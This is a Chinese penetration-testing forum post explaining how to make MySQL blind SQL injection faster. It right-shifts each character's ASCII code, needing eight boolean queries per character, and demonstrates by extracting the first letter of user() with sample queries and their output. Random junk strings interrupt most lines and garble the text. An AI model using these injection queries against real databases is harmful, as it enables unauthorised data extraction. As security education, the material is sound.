中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位+ u, k3 f+ Y, i  G: N( O5 C. H  j
  \  u# W! u; \

6 \3 L6 p2 L; H4 T/ ^* L. `# I8 V; h; m9 \* X# Y* j: f4 l
下面将以查询mysql数据库当中user()的第一位为例:! O1 U" q" z/ @* H9 H
: l( l  A- ^: P. `& `
- A: v/ [& S6 R! E& _( N
" L8 V+ B; i8 @# I
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
1 G9 m/ J% a7 H# L% t( u' [0 p; T4 y( U" r7 E2 j& w; S& Z/ a
! R" O6 {! F& V6 ]; p# h

- _6 t! C7 H; v) h! R8 l: V% ~! Z首先执行如下sql语句:# E6 s6 ], [! e* i$ B
0 q+ I# _, ]+ @+ B" Y

! ~, l5 b" m5 C* |4 U
' B, M! B& v+ D: {6 S  q6 d, hmysql> select (ascii((substr(user(),1,1))) >> 7)=0;( ]; Z9 a/ V0 y& f+ m9 C% i0 q; Q

. l8 X  B1 v4 @. ]  Q; K& b 3 i5 ?& ]  N1 I& a, h8 t

5 e" X# s" g" o/ P我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
1 M4 ~" E& ~9 Y0 \, ~$ t+ }7 z3 t* o8 \
6 t+ I$ F) Z6 \ 2 A6 C1 T6 F% B2 y7 e# X4 f) k
, F  Z# n8 V0 R
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
' i$ {1 h7 H5 E6 e' W
& `; t  o$ R7 m3 A - @; W0 x0 L) L1 h; C4 R. d

8 i' p5 q9 b1 A如果运算结果为1,说明第一位为0,不为1% ]& t% F4 k4 }
& c8 w# r$ v7 A/ s" w9 J1 l/ M  J2 X

4 ]) v# W# x5 Z6 s( c
3 k. C' c5 W( Y% p5 Y0 h) r( d+————————————–+
1 I) @& D" j7 S4 p
1 A6 v# s! }# T0 O! z$ u& {/ X, S| (ascii((substr(user(),1,1))) >> 7)=0 |8 v9 U: g. I6 x" h
. P: t$ B; f- Y* o
+————————————–+
1 r0 f; }7 L* i. Y7 L; n& ~/ ^0 F8 z9 j$ b
| 1 |1 k4 F% N8 r: n4 S, l+ j$ T9 X

4 X1 h& b2 A+ H! i7 a+————————————–+8 I) j' i: i2 i  r
& m; T$ F2 e* P4 u: A! h; }
1 row in set (0.00 sec)
* _1 q3 |* e3 F! B" e- E# N7 |, t8 @
这样我们就确定这个8bit的ascii的第一位为0
. u% c2 D) F6 V, w5 i$ \; R: M% I6 h

# l- a' ~7 v& l( ]0 }) i" V4 r4 F+ b/ \8 M+ _
第二次我们来做6次右偏移来确定前两位
5 U' K$ x/ r) q& ~4 {! L+ j% r
$ }# v. P1 H: n3 o( T3 U' B
) j( [& v$ W+ B* V/ v! x6 y9 l( r; b7 Z9 ]9 I, a$ x9 y; ]; ]
前两位可能是01或00,即依然可以与0做比较,9 ]/ z0 X. ^+ Q; o- q4 O# q

5 e& W4 V4 d! z& F! Q$ N* o: {mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
7 T, V, ^2 I- ~6 _+ z5 ~$ Y8 B/ q7 a# O; e8 v+ w) p
+————————————–+: |; \' V4 d6 o, F

3 J# S! P3 b2 o( T; _. D+ w| (ascii((substr(user(),1,1))) >> 6)=0 |
0 ^( ~4 u# W, O
) x5 N0 c6 U% J  c/ ^* m+————————————–+
2 p  ?# s; l0 m9 F. c1 C
$ L& ?$ ?+ f0 M| 0 |
. p7 E1 A1 V1 V- w' j0 y3 a6 b- j' @1 r2 a) P9 w
+————————————–+
0 Z. k3 i: R9 @( i' s4 v' Y) A% h: G! c" p6 ?. Y8 C, S
1 row in set (0.00 sec)
  ]+ u- W% [8 D& |7 l4 T3 A. ]7 x  x1 [( G

  n8 Y7 `$ v4 q$ P9 K4 t) ?6 Q+ w- p3 ]0 `
结果为0,即第二位为1
" K' R  T& T; T5 [1 C* ]3 M* M2 r4 _

7 o: V/ f  ^; }6 \- o$ x
* S. ^. \8 ^6 Y$ `- m开始猜测前三位为010或011
+ [% M& h' |- Z$ n8 o# u& w/ E* j4 [7 P! h

  p$ W( U# [% [/ S  h; Z/ S# E: P: P+ ^* K$ a6 R
让我们看看010和011的ascii码是多少
/ |) _8 Z! ]! j- O$ ~# ~/ F( e6 h% Q1 E- D6 ^  w4 ?

5 f1 f1 q3 H4 }6 O* T( f
' X5 Y5 \% ~7 ]  g分别查询select b’011′ select b’010′9 X, N/ I% ^  ^5 g

) R- z( K" S, K, R
; A# M3 o! |" f0 ^3 q" W) O5 q
7 K, C5 ~1 F: E" A( M" [, x, l( C获得结果 010 = 2 011 = 3
7 u; `* ]! z# I4 c& ^1 a: W, e, U9 F4 ~4 y5 c! V2 b
% l8 T( [2 _' W) @# A
( c$ A7 m: l2 E. D/ l& Q% h
执行如下sql:9 J8 i( a0 a9 `3 k; t
$ D4 ]; j4 W1 U3 w' J

! E4 F8 @# U2 M* f" W3 K5 _2 U: [8 d- K+ l8 N
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
" t9 g9 a/ A: Q6 L" H4 q
8 M: I* `' M% ^# {6 W5 W8 z: _; x+————————————–+
* B4 Y+ C( [+ M
$ Y- a  j/ y3 k( L! S| (ascii((substr(user(),1,1))) >> 5)=2 |
- q( q( k. B  X& o0 i6 \4 i' I: s; P6 {  m
+————————————–+
5 |* |8 b7 b# g+ l* I# j1 F% e+ \8 j9 D- \% u
| 0 |
- p( j6 s4 T! E* A* X5 E7 o  I8 j9 p8 W7 f' p5 {$ G  M3 l8 G* Z, q6 n
+————————————–+
/ w$ t, G/ n/ W5 h$ y& M" s
8 j4 W3 E/ Z) {7 a即前三位不为010,而是011  g# A$ I; z8 Y7 h1 c

3 j: G& i- G$ [ # _& c7 D' e: C' \% J9 Y9 S6 G5 B( T- f
# k3 y. N, z' r+ j7 z  }# e4 r
直到获得最后一位  o. U) f( N9 h

- ]$ N: y6 c  o7 p% o9 K" } # n+ R' ]0 u; r3 I6 J2 P# A
" U( m- x( E1 [$ p+ P% T
最终结果为:01110010
$ y/ ~  C# k& @2 U$ o% [: _. W  i7 Y# a

! D9 c# ]- U2 x: }+ c
% [9 p0 }4 v5 \转换一下:
. g3 z: O+ u) W" |4 r: g
/ a8 p- ~9 b+ l2 D' l
7 B$ t) H; G0 t' k
2 r  Y3 |: L4 C7 Oselect b’01110010′
! L3 ]/ ?" g* H. R# m
3 u) `- d" P5 t, a+ v# x $ R6 Q. y2 X- B; k5 s! N- B

5 A& ^$ j% p( }$ X/ o. S查询结果, y7 O0 @6 D  ]2 C

- ]/ \1 w" }8 q* j5 w! o $ o/ ^# z, k# T$ r. z

% \& R1 o! w$ w# a+————-+
4 l$ p! y) S* |- J* U1 Q- l
! ]( u6 C. Q8 u- u2 @% Z| b’01110010′ |( }; u* j; A6 p

9 u7 e3 d& h7 j+————-+5 T9 u1 @, L* e  C0 O6 z; M  _

  M) C& w- l8 p- x5 I3 j% L| r |6 K5 O1 d' a7 q  k/ K
* C) ~, B3 N4 ^) @  c. ~
+————-+
1 V5 F% ~/ A7 M
3 @. B1 k& M8 f( w1 row in set (0.00 sec)1 P6 T1 d* B2 q' m: v- Y$ |
' Z# ]- ]# ]/ ^) O' u  A

& d& U) K, P% V* x: H9 r( Q. g1 e3 T& i( z4 V
这样我们就获得了user()的第一位.其它位依此类推
4 M+ U+ z. t- g6 U1 v5 w+ a  @% Y
; [  v/ x6 {2 q' y# `( ^) q+ R




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2